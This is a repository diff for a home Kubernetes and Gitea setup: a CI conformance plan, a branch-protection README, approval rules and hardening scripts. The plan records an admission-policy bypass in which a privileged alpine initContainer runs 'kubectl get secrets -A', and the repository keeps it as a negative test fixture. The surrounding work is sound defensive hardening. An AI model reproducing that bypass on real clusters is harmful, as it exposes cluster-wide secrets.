> run" this stage attempts can never succeed; it can only skip and, before the guard added on
|
||||
> 2026-09-29, lie about it.
|
||||
>
|
||||
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
|
||||
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
|
||||
> not enable L2/L3, it only changes which way this stage fails.
|
||||
|
||||
---
|
||||
|
||||
## 3. Gaps to close (functional)
|
||||
|
||||
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
|
||||
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
|
||||
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
|
||||
entrypoint path and the Job pins that uid — see §4.)*
|
||||
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
||||
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
||||
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
||||
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
||||
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
||||
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
|
||||
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
|
||||
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
|
||||
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
|
||||
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
|
||||
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
|
||||
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
|
||||
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
|
||||
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
|
||||
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
|
||||
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
|
||||
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
|
||||
install the entrypoint at that exact path) and provision that Secret (item 6).
|
||||
Original text: → Add an
|
||||
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
||||
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
||||
`--requirements` are injected by the CI trigger step as Job env/args.
|
||||
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
|
||||
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
|
||||
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
|
||||
still ships its red JUnit — that prints the artifact tree as a base64 tar between
|
||||
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
|
||||
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
|
||||
collection instead of decoding to plausible garbage; the five checks the collector owes are
|
||||
spelled out above that function. It lives in `run.sh` and not in the Job because admission
|
||||
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
|
||||
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
|
||||
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
|
||||
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
||||
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
||||
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
||||
@@ -91,6 +129,19 @@ stack):**
|
||||
|
||||
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
||||
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
||||
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
|
||||
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
|
||||
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
|
||||
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
|
||||
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
|
||||
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
|
||||
same. Both are now covered by
|
||||
`trigger-initcontainers-must-be-the-committed-clone-step` and
|
||||
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
|
||||
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
|
||||
field that can carry executable intent, and a `pattern` over an array only asserts *at least
|
||||
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
|
||||
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
|
||||
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
||||
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
||||
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
# infra/gitea — platform settings that are NOT GitOps-managed
|
||||
|
||||
Gitea's own repo settings (branch protection, required status checks, approvals) live
|
||||
in Gitea's database, not in a manifest Flux reconciles. They are therefore **drift-prone
|
||||
and invisible to the gate** — exactly how the state below went unnoticed.
|
||||
|
||||
## The gap this closes
|
||||
|
||||
Verified against the live API on 2026-09-29, against a `DECISIONS-LOG.md` entry
|
||||
(2026-08-31) asserting the opposite:
|
||||
|
||||
| Claimed | Measured |
|
||||
|---|---|
|
||||
| `main` is a protected branch, gate is a required status check | `branch_protections` → `[]`; `protected:false`, `enable_status_check:false`, `required_approvals:0`, `user_can_push:true` |
|
||||
| Runner `incluster-dind` online | **zero** runners registered at repo, org and site level |
|
||||
|
||||
So `main` accepted direct pushes, and the gate could not run at all. `CLAUDE.md` is the
|
||||
rule; this directory is how the rule gets enforced by the machine.
|
||||
|
||||
## `branch-protection.sh`
|
||||
|
||||
Blocks direct pushes to `main`. Run it, then run the push probe it prints — **verify,
|
||||
do not trust the API response**, since Gitea may let site admins bypass protection.
|
||||
|
||||
./infra/gitea/branch-protection.sh
|
||||
|
||||
It authenticates with the credential `git` already has stored for this host, and never
|
||||
prints the secret.
|
||||
|
||||
## `runner-token-rotate.sh`
|
||||
|
||||
Mints a fresh instance-level registration token from the Gitea API and writes it into
|
||||
`apps/wave-1/gitea-actions-runner-secret.sops.yaml` via `sops set`. **The token value is
|
||||
never printed.**
|
||||
|
||||
./infra/gitea/runner-token-rotate.sh
|
||||
|
||||
A fresh token is usually **not sufficient on its own**. `act_runner` registers exactly once
|
||||
and persists its identity in `/data/.runner` on the `act-runner-data` PVC. If Gitea no
|
||||
longer holds a matching runner row, the pod starts, sees `.runner`, **skips registration**,
|
||||
and polls with an identity Gitea does not recognise — so it never appears in the runner
|
||||
list. That is precisely the observed symptom: zero runners, pod running, no error anyone
|
||||
looks at. Clearing the PVC is what forces a real re-registration; the script prints the
|
||||
commands.
|
||||
|
||||
## Sequence — DONE 2026-09-29
|
||||
|
||||
All four steps are complete and each was verified, not assumed:
|
||||
|
||||
| Step | State |
|
||||
|---|---|
|
||||
| 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
|
||||
| 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
|
||||
| 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
|
||||
| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
|
||||
|
||||
Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
|
||||
`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
|
||||
account agents authenticate as.
|
||||
|
||||
### 5. Block the admin override — the step the first pass MISSED
|
||||
|
||||
`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
|
||||
bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
|
||||
merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
|
||||
like the gate were overridable by precisely the account that merges.
|
||||
|
||||
**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
|
||||
`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
|
||||
*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
|
||||
(`/branch_protections/main`) and enumerate its keys.
|
||||
|
||||
> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
|
||||
> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
|
||||
> means "key absent". Enumerate with `to_entries` and act on what is really there.
|
||||
|
||||
Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
|
||||
proven when a green PR is REFUSED a merge until approved, and not before.
|
||||
|
||||
### `require-gate.sh` / `verify-then-enforce.sh`
|
||||
|
||||
`verify-then-enforce.sh` is the re-runnable form of the whole safe order. It merges nothing —
|
||||
merging is a human's reviewed act — but it forces the Flux reconcile and then **aborts** unless
|
||||
the runner pod is healthy, a runner is online, and a real workflow goes green on it, before
|
||||
enabling enforcement and probing the push. `require-gate.sh` is the enforcement step alone.
|
||||
|
||||
Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
|
||||
|
||||
### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
|
||||
|
||||
`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
|
||||
a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
|
||||
at least one runner is online. It is the only thing in this repository that can see Gitea's own
|
||||
database.
|
||||
|
||||
It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
|
||||
`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
|
||||
|
||||
Behaviour, proven by test rather than assumed:
|
||||
|
||||
| Situation | Exit | Effect |
|
||||
|---|---|---|
|
||||
| live matches the declaration | 0 | green |
|
||||
| any key drifted, or no runner online | 1 | **blocks the merge** |
|
||||
| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
|
||||
|
||||
> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
|
||||
> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
|
||||
> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
|
||||
> inert-detector story, so the wrong name surviving here is worth correcting rather than
|
||||
> reading past. Measured in `ci/gitea-settings.sh`:
|
||||
>
|
||||
> TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||
>
|
||||
> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
|
||||
> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
|
||||
> created. In CI, only `SETTINGS_API_TOKEN` exists.
|
||||
|
||||
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
|
||||
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
|
||||
the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
|
||||
`gate.yml` so a future missing token blocks instead of skipping.
|
||||
|
||||
**Changing the declaration is how you change policy.** If the live state is what you now want,
|
||||
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
|
||||
|
||||
## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
|
||||
|
||||
Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
|
||||
ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
|
||||
kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
|
||||
and only on request — set `vars.CLUSTER_AVAILABLE=true`.
|
||||
|
||||
./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run # measure only; writes nothing
|
||||
./infra/gitea/conformance-trigger-kubeconfig.sh # mint + store the secret
|
||||
./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available # + the variable
|
||||
|
||||
Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
|
||||
printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
|
||||
(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
|
||||
`set -x`.
|
||||
|
||||
**Its preconditions are split in two, and the split is the point.**
|
||||
|
||||
| Class | Checks | Blocks |
|
||||
|---|---|---|
|
||||
| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
|
||||
| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
|
||||
|
||||
Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
|
||||
token that can `create jobs` in `conformance` can run arbitrary code as the privileged
|
||||
`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
|
||||
while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
|
||||
|
||||
Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
|
||||
trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
|
||||
running this today provisions the secret and then **refuses to arm the variable**, naming the
|
||||
missing item.
|
||||
|
||||
**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
|
||||
trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
|
||||
"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
|
||||
now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
|
||||
`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
|
||||
nothing happens.
|
||||
|
||||
Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
|
||||
read the object back. For the secret that proves presence by name only (Gitea never returns
|
||||
secret values); for the variable it proves the value is exactly `true`, which is what
|
||||
`gate.yml` compares against.
|
||||
|
||||
The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
|
||||
to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
|
||||
rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
|
||||
|
||||
`--server` exists because the embedded API-server URL must be reachable **from the CI runner
|
||||
pod** — the VIP — which is not necessarily the address your workstation uses. The script
|
||||
refuses a loopback server outright.
|
||||
|
||||
### Why these scripts exist at all, and what is still missing
|
||||
|
||||
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
|
||||
conformance gate can read. Nothing detects drift from what this directory declares. That is
|
||||
the root cause of the entire 2026-09-29 session: branch protection was off and the runner was
|
||||
gone for a month while the log recorded both as working, and **no check existed that could
|
||||
have caught it.**
|
||||
|
||||
These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
|
||||
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
|
||||
root cause of the 2026-09-29 session.
|
||||
|
||||
It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
|
||||
detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
|
||||
it. The name matters — see the note under the behaviour table above.)
|
||||
|
||||
## Historical sequence (kept for context)
|
||||
|
||||
### Original ordering notes
|
||||
|
||||
1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
|
||||
the runner actually re-registers, then confirm it shows `online` in the API. Do not
|
||||
skip the confirmation: the whole reason this went unnoticed is that a runner was
|
||||
*recorded* as online without anyone checking.
|
||||
2. **Watch the gate actually report on a real PR**, and note the context name it produced.
|
||||
3. **Only then set `enable_status_check: true`** with that exact context.
|
||||
4. Add the human reviewer as a repo collaborator, then raise `required_approvals` to 1.
|
||||
|
||||
> **Do not do step 3 before step 1.** A required status check with no runner leaves every
|
||||
> PR permanently pending — including the PR that would fix it. That half is measured: PR #1
|
||||
> sat `pending` for 30.6 minutes across 122 polls with no runner registered, and never
|
||||
> reported.
|
||||
|
||||
### Measured, once the runner came up (2026-09-29)
|
||||
|
||||
The first CI jobs this repo ever ran, on PR #1 and PR #2:
|
||||
|
||||
| Context | Result | Time |
|
||||
|---|---|---|
|
||||
| `gate / gate (pull_request)` | success | 1m58s (PR #1), 1m34s (PR #2) |
|
||||
| `gate / gate (push)` | success | 1m32s (PR #2 only) |
|
||||
| `gate / conformance (pull_request)` | **success — "Has been skipped"** | — |
|
||||
|
||||
**Require `gate / gate (pull_request)`. Do NOT require either `conformance` context —
|
||||
but not for the reason an earlier draft of this file gave.** A skipped Gitea Actions job
|
||||
does not hang a status check: Gitea reports it as **`success`** with the description
|
||||
"Has been skipped". So requiring it would not deadlock anything — it would pass
|
||||
*vacuously*, every time, forever, while nothing ran. Under HARD RULE 4 that is worse than
|
||||
a deadlock: a deadlock is loud, a permanently-green check that verifies nothing is
|
||||
exactly the fail-open shape this repo keeps finding.
|
||||
|
||||
The `(push)` contexts appear only for branches matching `gate.yml`'s push trigger
|
||||
(`feature/**`, `fix/**`, `docs/**`, `chore/**`). `feat/**` is **not** in that list, which
|
||||
is why PR #1's `feat/` branch produced only `pull_request` contexts. Require only the
|
||||
`pull_request` context, or PRs from non-matching prefixes will never satisfy the rule.
|
||||
@@ -0,0 +1,28 @@
|
||||
{
|
||||
"_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
|
||||
"_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author. Everything else merges on a green gate alone.",
|
||||
"_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
|
||||
"sensitive_paths": [
|
||||
"ci/**",
|
||||
".gitea/**",
|
||||
"conformance/**",
|
||||
"clusters/**",
|
||||
"bootstrap/**",
|
||||
"infra/gitea/**",
|
||||
"platform/kyverno/**",
|
||||
"platform-config/kustomization.yaml",
|
||||
".sops.yaml",
|
||||
"**/*.sops.yaml",
|
||||
"**/rbac.yaml",
|
||||
"CLAUDE.md"
|
||||
],
|
||||
"_why_each": {
|
||||
"ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
|
||||
"conformance/**": "the tests and the harness; changing them changes what green MEANS",
|
||||
"clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
|
||||
"infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
|
||||
"platform/kyverno/**": "the admission policy engine",
|
||||
".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
|
||||
"CLAUDE.md": "the delivery contract agents follow"
|
||||
}
|
||||
}
|
||||
Executable
+36
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env bash
|
||||
# Stop repository admins from overriding the merge requirements on `main`.
|
||||
#
|
||||
# WHY. Gitea lets repo admins override branch-protection merge requirements unless
|
||||
# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
|
||||
# required_approvals and the required status check were both overridable by the one account
|
||||
# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
|
||||
# `required_approvals: 1`.
|
||||
#
|
||||
# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
|
||||
# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
|
||||
# real keys (`to_entries`) rather than probing names you assume exist.
|
||||
#
|
||||
# Recoverable: an owner can PATCH this back to false if it gets in the way.
|
||||
set -euo pipefail
|
||||
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
|
||||
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||
B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
|
||||
|
||||
echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
|
||||
api -X PATCH -H 'Content-Type: application/json' \
|
||||
-d '{"block_admin_merge_override": true}' "$B" >/dev/null
|
||||
AFTER=$(api "$B" | jq -r .block_admin_merge_override)
|
||||
echo "==> after: block_admin_merge_override = $AFTER"
|
||||
[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
|
||||
|
||||
api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
|
||||
cat <<'NOTE'
|
||||
|
||||
NOW PROVE IT -- the setting is not the evidence. On the next PR:
|
||||
* let the gate go green, then try to merge WITHOUT approving it.
|
||||
* Gitea must REFUSE. If it merges, this still is not doing its job.
|
||||
Do not record approvals as enforced until you have seen a merge refused.
|
||||
NOTE
|
||||
Executable
+57
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env bash
|
||||
# Enable branch protection on main for home-network-k3s-impl.
|
||||
#
|
||||
# Sets enable_push:false -> no direct pushes to main; changes land only by merging a PR.
|
||||
#
|
||||
# enable_status_check is deliberately FALSE. There is currently NO Gitea Actions runner
|
||||
# registered (verified 2026-09-29: zero at repo, org and site level), so requiring the
|
||||
# gate context would deadlock EVERY PR permanently -- including the PR that fixes it.
|
||||
# Turn it on only after a runner is live and you have seen the gate actually report on
|
||||
# a real PR, using the context name CI itself produced.
|
||||
#
|
||||
# required_approvals is 0 for the same class of reason: jakman85 is a site admin but NOT
|
||||
# a repo collaborator, so requiring an approval now could leave nobody able to approve.
|
||||
# Add the collaborator first, then raise this to 1.
|
||||
set -euo pipefail
|
||||
HOST=gitea.home.keithjackson.dev
|
||||
OWNER=Home-Network
|
||||
REPO=home-network-k3s-impl
|
||||
|
||||
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||
U="$(sed -n 's/^username=//p' <<<"$creds")"
|
||||
P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||
[ -n "$U" ] && [ -n "$P" ] || { echo "no stored credential for $HOST" >&2; exit 1; }
|
||||
echo "authenticating as '${U}' (secret not shown)"
|
||||
|
||||
echo "==> creating branch protection on 'main'"
|
||||
jq -n '{
|
||||
branch_name: "main",
|
||||
enable_push: false,
|
||||
enable_status_check: false,
|
||||
status_check_contexts: [],
|
||||
required_approvals: 0,
|
||||
block_on_rejected_reviews: true,
|
||||
block_on_outdated_branch: false,
|
||||
dismiss_stale_approvals: true
|
||||
}' | curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") \
|
||||
-X POST -H 'Content-Type: application/json' --data @- \
|
||||
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections" \
|
||||
| jq -r 'if .branch_name then "created" else "API said: \(.message // tostring)" end'
|
||||
|
||||
echo "==> verifying (this is the part that matters)"
|
||||
curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") \
|
||||
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
|
||||
| jq -r '{protected, user_can_push, required_approvals, enable_status_check, status_check_contexts}'
|
||||
|
||||
cat <<'NOTE'
|
||||
|
||||
Now prove it actually blocks you -- do not take the API's word for it. From a clean
|
||||
checkout on main, with nothing to lose:
|
||||
|
||||
git commit --allow-empty -m 'protection probe'
|
||||
git push origin main # EXPECT: rejected by the remote
|
||||
git reset --hard HEAD~1 # tidy up either way
|
||||
|
||||
If that push SUCCEEDS, Gitea is letting site admins bypass protection and this is not
|
||||
yet doing what you want.
|
||||
NOTE
|
||||
+575
@@ -0,0 +1,575 @@
|
||||
#!/usr/bin/env bash
|
||||
# infra/gitea/conformance-trigger-kubeconfig.sh
|
||||
#
|
||||
# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
|
||||
# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
|
||||
# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
|
||||
#
|
||||
# What it does, in order:
|
||||
# 1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
|
||||
# 2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
|
||||
# `conformance` (kubectl create token -> TokenRequest API)
|
||||
# 3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
|
||||
# 4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
|
||||
# 5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
|
||||
# VERIFIES the store by reading the secret list back
|
||||
# 6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
|
||||
# precondition green, and only after a typed confirmation. Otherwise it REFUSES.
|
||||
#
|
||||
# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
|
||||
# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
|
||||
# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
|
||||
# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
|
||||
#
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
|
||||
# `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
|
||||
# name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
|
||||
# GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
|
||||
# .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
|
||||
#
|
||||
# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
|
||||
# to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
|
||||
# knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
|
||||
# the object back afterwards. A store is not claimed unless the read-back shows it.
|
||||
#
|
||||
# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
|
||||
# `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
|
||||
# cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
|
||||
# trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
|
||||
# FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
|
||||
# case (exit 1), so today the variable does not enable L2/L3: it only changes which way
|
||||
# the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
|
||||
# every PR. This script refuses to do it.
|
||||
#
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
|
||||
# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
|
||||
# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
|
||||
# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
|
||||
# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
|
||||
# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
|
||||
# privileged identity. So those checks block the MINT itself — nothing is created if they
|
||||
# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
|
||||
#
|
||||
# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
|
||||
# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
|
||||
# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
|
||||
# conformance job is gated on the variable and never starts — and the plan explicitly lands
|
||||
# the secret before the switch. So these checks block ONLY the variable.
|
||||
#
|
||||
# Net effect: you can safely run this script today to provision the secret. It will then
|
||||
# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
|
||||
#
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# USAGE
|
||||
# ----------------------------------------------------------------------------------------
|
||||
# ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
|
||||
# Read-only. Measures every precondition, mints nothing, writes nothing.
|
||||
# ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
|
||||
# Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
|
||||
# ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
|
||||
# The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
|
||||
# refused unless every precondition is green.
|
||||
#
|
||||
# Options:
|
||||
# --dry-run measure only; no TokenRequest, no PUT/POST
|
||||
# --arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded)
|
||||
# --server URL API server URL to embed (default: the operator context's own)
|
||||
